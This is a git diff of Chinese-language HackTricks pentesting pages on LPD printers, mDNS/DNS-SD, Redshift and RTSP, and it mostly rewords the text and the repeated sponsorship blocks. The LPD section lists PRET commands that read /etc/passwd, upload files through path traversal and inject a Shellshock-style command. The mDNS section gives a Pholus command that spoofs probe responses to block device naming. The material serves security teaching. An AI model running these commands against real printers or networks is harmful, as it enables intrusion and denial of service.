支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库 **提交 PR 来分享您的黑客技巧。**
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
### **LPD协议简介**
|
||||
|
||||
Line Printer Daemon (LPD) 协议最初是在 80 年代的 Berkeley Unix 中引入的(后来由 RFC1179 规范定义)。\
|
||||
该守护进程运行在 515/tcp 端口,并可以使用 `lpr` 命令访问。为了打印,客户端发送一个定义作业/用户名的 **控制文件** 和一个包含实际打印数据的 **数据文件**。数据文件的 **输入类型** 可以通过在控制文件中选择 **各种文件格式** 来设置。然而,如何实际处理打印数据取决于 LPD 的实现。一个流行的 Unix-like 操作系统的 LPD 实现是 LPRng。LPD 可以用作部署 **恶意 PostScript** 或 **PJL 打印作业** 的载体。
|
||||
在20世纪80年代,**Line Printer Daemon (LPD)协议**在伯克利Unix中开发,后来通过RFC1179正式规范化。该协议通过端口515/tcp运行,允许通过`lpr`命令进行交互。通过LPD打印的本质涉及发送一个**控制文件**(用于指定作业详细信息和用户)以及一个**数据文件**(保存打印信息)。虽然控制文件允许选择**各种文件格式**用于数据文件,但这些文件的处理取决于特定的LPD实现。Unix-like系统中一个广泛认可的实现是**LPRng**。值得注意的是,LPD协议可以被利用来执行**恶意PostScript**或**PJL打印作业**。
|
||||
|
||||
[**PRET**](https://github.com/RUB-NDS/PRET) 包含了 `lpdprint` 和 `lpdtest` 工具**。** 它们是直接向 LPD 兼容打印机打印数据或下载/上传/删除文件等的简约方式:
|
||||
```
|
||||
### **与LPD打印机交互的工具**
|
||||
|
||||
[**PRET**](https://github.com/RUB-NDS/PRET)引入了两个基本工具,`lpdprint`和`lpdtest`,提供了一种与兼容LPD的打印机进行交互的简单方法。这些工具使得从打印数据到操作打印机上的文件(如下载、上传或删除)等一系列操作成为可能。
|
||||
```python
|
||||
# To print a file to an LPD printer
|
||||
lpdprint.py hostname filename
|
||||
# To get a file from the printer
|
||||
lpdtest.py hostname get /etc/passwd
|
||||
# To upload a file to the printer
|
||||
lpdtest.py hostname put ../../etc/passwd
|
||||
# To remove a file from the printer
|
||||
lpdtest.py hostname rm /some/file/on/printer
|
||||
# To execute a command injection on the printer
|
||||
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
|
||||
# To send a mail through the printer
|
||||
lpdtest.py hostname mail lpdtest@mailhost.local
|
||||
```
|
||||
如果您想了解更多关于[**黑客打印机的信息,请阅读此页面**](pentesting-printers/)。
|
||||
|
||||
# Shodan
|
||||
|
||||
* `端口 515`
|
||||
|
@ -34,14 +40,14 @@ lpdtest.py hostname mail lpdtest@mailhost.local
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在HackTricks上看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,88 +2,65 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习 AWS 黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的 **公司在 HackTricks 中被广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库 **提交 PR 来分享您的黑客技巧。**
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
## **基本信息**
|
||||
|
||||
多播 DNS (mDNS) 是一种**零配置协议**,允许您在没有传统单播 DNS 服务器的情况下,在本地网络上执行**类似 DNS 的操作**。该协议使用**相同的** API、**数据包格式**和操作语义作为 DNS,允许您在本地网络上解析域名。**DNS 服务发现 (DNS-SD)** 是一种协议,允许客户端使用标准 DNS 查询在域中**发现服务的命名实例列表**(例如 test.\_ipps.\_tcp.local 或 linux.\_ssh.\_tcp.local)。DNS-SD 最常与 mDNS 一起使用,但不依赖于它。它们都被许多物联网设备使用,如网络打印机、苹果电视、谷歌 Chromecast、网络附加存储 (NAS) 设备和摄像头。\
|
||||
**默认端口:** 5353/UDP
|
||||
**多播 DNS (mDNS)** 在本地网络中实现了类似 **DNS 操作**,无需传统 DNS 服务器。它在 **UDP 端口 5353** 上运行,允许设备发现彼此及其服务,通常在各种物联网设备中看到。**DNS 服务发现 (DNS-SD)** 经常与 mDNS 一起使用,通过标准 DNS 查询帮助识别网络上可用的服务。
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5353/udp open zeroconf
|
||||
```
|
||||
### mDNS的工作原理
|
||||
### **mDNS操作**
|
||||
|
||||
当本地网络**缺少**传统的**单播DNS服务器**时,设备使用mDNS。要使用mDNS解析本地地址的域名,设备会向**多播**地址224.0.0.251(IPv4)或FF02::FB(IPv6)发送以**.local**结尾的**DNS查询域名**。您也可以使用mDNS解析**全局域名**(非.local的),但mDNS实现默认应该**禁用**此行为。mDNS请求和响应使用**UDP**和**端口5353**作为源端口和目的端口。
|
||||
在没有标准DNS服务器的环境中,mDNS允许设备通过查询多播地址**224.0.0.251**(IPv4)或**FF02::FB**(IPv6)来解析以**.local**结尾的域名。mDNS的重要方面包括**生存时间(TTL)**值表示记录的有效性,以及**QU位**区分单播和多播查询。从安全角度来看,mDNS实现必须验证数据包的源地址与本地子网对齐。
|
||||
|
||||
mDNS回复包含几个重要的标志,包括一个**生存时间**(TTL)值,表示记录有效的秒数。发送**TTL=0的回复意味着相应的记录应该被清除**。另一个重要的标志是QU位,它表示查询是否为单播查询。如果**QU位未设置**,数据包是一个**多播**查询(QM)。因为有可能**在本地链路之外接收到单播查询**,安全的mDNS实现应始终**检查数据包中的源地址是否与本地子网地址范围匹配**。
|
||||
### **DNS-SD功能**
|
||||
|
||||
### DNS-SD的工作原理
|
||||
DNS-SD通过查询指针记录(PTR)来促进网络服务的发现,这些记录将服务类型映射到它们的实例。服务使用**_\<Service>.\_tcp或\_\<Service>.\_udp**模式在**.local**域内进行标识,从而发现相应的**SRV**和**TXT记录**,提供详细的服务信息。
|
||||
|
||||
DNS-SD允许客户端**发现网络上可用的服务**。为了使用它,客户端发送标准DNS查询以获取指针记录(PTR),这些记录将服务类型映射到该类型服务的特定实例的名称列表。
|
||||
### **网络探索**
|
||||
|
||||
要请求PTR记录,客户端使用"\<Service>.\<Domain>"的名称形式。**\<Service>**部分是服务名称前面加上"\_"(例如,\_ipps、\_printer或\_ipp)以及**\_tcp或\_udp**。**\<Domain>**部分是"**.local**"。\
|
||||
**响应者**然后返回指向相应**服务(SRV)**和**文本(TXT)记录**的PTR记录。以下是PTR记录的一个例子:
|
||||
```
|
||||
_ipps._tcp.local: type PTR, class IN, test._ipps._tcp.local
|
||||
```
|
||||
PTR 记录中冒号**左边**的部分是它的**名称**,而**右边**的部分是 PTR 记录指向的**SRV** **记录**。**SRV** 记录列出了可以访问**服务**实例的目标**主机**和**端口**。例如,下图显示了 Wireshark 中的 "test.\_ipps.\_tcp.local" SRV 记录,主机为 ubuntu.local,端口为 8000:
|
||||
#### **nmap用法**
|
||||
|
||||
![](<../.gitbook/assets/image (651) (1) (1) (1) (1).png>)
|
||||
|
||||
因此,**SRV** 记录的**名称**类似于**PTR** 记录,之前由**\<Instance>** 名称(本例中为 test)**前置**。**TXT** 记录与**SRV** 记录**同名**,包含在 IP 地址和端口号(包含在 SRV 记录中)不足以识别服务时所需的信息。
|
||||
|
||||
## 枚举
|
||||
|
||||
### nmap
|
||||
用于扫描本地网络中mDNS服务的有用命令是:
|
||||
```bash
|
||||
nmap -Pn -sUC -p5353 192.168.1.2
|
||||
|
||||
Starting Nmap 6.46 (http://nmap.org) at 2015-01-01 10:30 GMT
|
||||
Nmap scan report for 192.168.1.2
|
||||
PORT STATE SERVICE
|
||||
5353/udp open zeroconf
|
||||
| dns-service-discovery:
|
||||
| 9/tcp workstation
|
||||
| Address=192.168.1.2
|
||||
| 22/tcp ssh
|
||||
| Address=192.168.1.2
|
||||
| 22/tcp sftp-ssh
|
||||
| Address=192.168.1.2
|
||||
| 445/tcp smb
|
||||
| Address=192.168.1.2
|
||||
nmap -Pn -sUC -p5353 [target IP address]
|
||||
```
|
||||
### 网络枚举
|
||||
这个命令有助于识别开放的mDNS端口以及它们上面广告的服务。
|
||||
|
||||
通过简单地发送mDNS请求和捕获多播mDNS流量,您可以了解本地网络的许多信息。
|
||||
#### **使用Pholus进行网络枚举**
|
||||
|
||||
您可以使用工具 [**Pholus**](https://github.com/aatlasis/Pholus/) 在本地网络上发送mDNS请求(-rq)并捕获多播mDNS流量(对于-stimeout 10秒):
|
||||
要积极地发送mDNS请求并捕获流量,可以如下使用**Pholus**工具:
|
||||
```bash
|
||||
sudo python3 pholus3.py eth0 -rq -stimeout 10
|
||||
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
||||
```
|
||||
## 攻击
|
||||
|
||||
### 滥用 mDNS 探测阶段
|
||||
### **利用mDNS探测**
|
||||
|
||||
当 mDNS 响应器启动或更改其连接性时,它会询问本地网络是否有**计划使用的任何资源名称**。如果答案包含了相关记录,探测主机**应选择一个新名称**。如果在10秒内发生15次冲突,主机必须至少等待五秒钟才能进行任何额外尝试。此外,如果在一分钟内主机找不到未使用的名称,它会向用户报告一个错误。
|
||||
|
||||
以下命令行将阻止任何新设备获取任何新名称,因为它会指示**任何名称已经被占用**:
|
||||
一种攻击向量涉及向mDNS探测发送伪造响应,暗示所有潜在名称已被使用,从而阻碍新设备选择唯一名称。这可以通过以下方式执行:
|
||||
```bash
|
||||
sudo python pholus.py eth0 -afre -stimeout 1000
|
||||
sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||
```
|
||||
这种技术有效地阻止新设备在网络上注册其服务。
|
||||
|
||||
**总结**,了解mDNS和DNS-SD的工作原理对于网络管理和安全至关重要。像**nmap**和**Pholus**这样的工具提供了有关本地网络服务的宝贵见解,同时意识到潜在的漏洞有助于防范攻击。
|
||||
|
||||
|
||||
### 欺骗/中间人攻击
|
||||
|
||||
您可以对此服务执行的最有趣的攻击是在**客户端与真实服务器之间的通信**中执行**中间人攻击**。您可能能够获取敏感文件(中间人攻击与打印机的通信)或甚至凭据(Windows认证)。\
|
||||
您可以在此服务上执行的最有趣的攻击是在**客户端和真实服务器之间的通信**中执行**中间人攻击**。您可能能够获取敏感文件(中间人攻击打印机通信)甚至凭据(Windows身份验证)。\
|
||||
有关更多信息,请查看:
|
||||
|
||||
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||
|
@ -92,18 +69,18 @@ sudo python pholus.py eth0 -afre -stimeout 1000
|
|||
|
||||
## 参考资料
|
||||
|
||||
* [实用物联网黑客攻击:攻击物联网的权威指南](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
||||
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本** 请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。**
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,20 +1,20 @@
|
|||
# 5439 - 渗透测试 Redshift
|
||||
# 5439 - Pentesting Redshift
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要在 HackTricks 中看到您的**公司广告**?或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我**。
|
||||
* 通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧。
|
||||
* 您在**网络安全公司**工作吗?想要在HackTricks中看到您的**公司广告**?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
此端口用于运行 **Redshift**。基本上是 **PostgreSQL** 的 AWS 变体。
|
||||
此端口用于运行**Redshift**。基本上是**PostgreSQL**的AWS变体。
|
||||
|
||||
有关更多信息,请查看:
|
||||
|
||||
|
@ -22,12 +22,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要在 HackTricks 中看到您的**公司广告**?或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我**。
|
||||
* 通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧。
|
||||
* 您在**网络安全公司**工作吗?想要在HackTricks中看到您的**公司广告**?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,59 +1,49 @@
|
|||
# 554,8554 - RTSP渗透测试
|
||||
# 554,8554 - 渗透测试 RTSP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
> **实时流媒体协议**(**RTSP**)是一种网络控制协议,设计用于娱乐和通信系统中控制流媒体服务器。该协议用于在端点之间建立和控制媒体会话。媒体服务器的客户端发出VHS风格的命令,如播放、录制和暂停,以便实时控制从服务器到客户端(点播视频)或从客户端到服务器(语音录制)的媒体流。
|
||||
>
|
||||
> RTSP本身不负责流数据的传输。大多数RTSP服务器使用实时传输协议(RTP)与实时控制协议(RTCP)来传送媒体流。然而,一些供应商实现了专有的传输协议。例如,RealNetworks的RTSP服务器软件也使用了RealNetworks的专有实时数据传输(RDT)。
|
||||
来自 [维基百科](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol):
|
||||
|
||||
来自[wikipedia](https://en.wikipedia.org/wiki/Real\_Time\_Streaming\_Protocol)。
|
||||
> **实时流媒体传输协议**(**RTSP**)是一种网络控制协议,旨在用于娱乐和通信系统中控制流媒体服务器。该协议用于在端点之间建立和控制媒体会话。媒体服务器的客户端发出类似 VHS 样式的命令,如播放、录制和暂停,以便实时控制从服务器流媒体到客户端(视频点播)或从客户端到服务器(语音录制)的媒体流。
|
||||
>
|
||||
> 流媒体数据的传输本身不是 RTSP 的任务。大多数 RTSP 服务器与实时传输协议(RTP)结合使用实时控制协议(RTCP)进行媒体流传递。但是,一些供应商实现了专有的传输协议。例如,RealNetworks 的 RTSP 服务器软件还使用了 RealNetworks 的专有实时数据传输(RDT)。
|
||||
|
||||
**默认端口:** 554,8554
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
554/tcp open rtsp
|
||||
```
|
||||
## 详细信息
|
||||
## 关键细节
|
||||
|
||||
首先,RTSP 是一种类似 HTTP 的协议。它具有不同的结构和控制命令,但其格式是文本的,一旦你学会了命令的基础知识以及它们是如何相互作用的,就相当容易使用。RTSP 的规范相当直接。这里是它的链接:
|
||||
**RTSP** 类似于 HTTP,但专门设计用于媒体流。它在一份简单的规范中定义,可以在这里找到:
|
||||
|
||||
[RTSP – RFC2326](https://tools.ietf.org/html/rfc2326)
|
||||
|
||||
RTSP 可以进行未经认证的访问(在现成的设备中很常见)或经过认证的访问。认证访问在结构上与 HTTP 相似,你有基本认证和摘要认证,两者几乎与 HTTP 完全相同。要确定你的设备是经过认证的还是未经认证的,只需发送一个“DESCRIBE”请求。一个简单的 DESCRIBE 请求看起来像:
|
||||
设备可能允许**未经身份验证**或**经过身份验证**的访问。要检查,会发送一个 "DESCRIBE" 请求。下面显示了一个基本示例:
|
||||
|
||||
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\n`
|
||||
|
||||
注意:额外的“\r\n”是获得可靠响应所必需的。一些系统会接受单个的“\r\n”,但大多数不会。
|
||||
请记住,正确的格式包括双 "\r\n" 以获得一致的响应。"200 OK" 响应表示**未经身份验证**的访问,而 "401 Unauthorized" 表示需要进行身份验证,揭示了是否需要**基本身份验证**或**摘要身份验证**。
|
||||
|
||||
这可以通过原始套接字发送。就像 HTTP 一样,表明可用的未经认证访问的成功响应将包含“200 OK”。在这种情况下,使用 DESCRIBE,它还将包含视频源的所有操作参数。
|
||||
|
||||
如果设备需要认证,那么返回的响应将包含“401 Unauthorized”。响应还将指示可用的认证机制。如果基本认证可用,响应字符串将包含一个信息行,其中有“WWW-Authenticate: Basic”。基本认证提供的其余信息对于实际进行基本认证来说基本上是不相关的。
|
||||
|
||||
如果需要摘要认证,那么“401 Unauthorized”响应将有一个信息行包含“WWW-Authenticate: Digest”。如果你要进行摘要认证,摘要规范中的信息非常重要,所以不要忽视它。
|
||||
|
||||
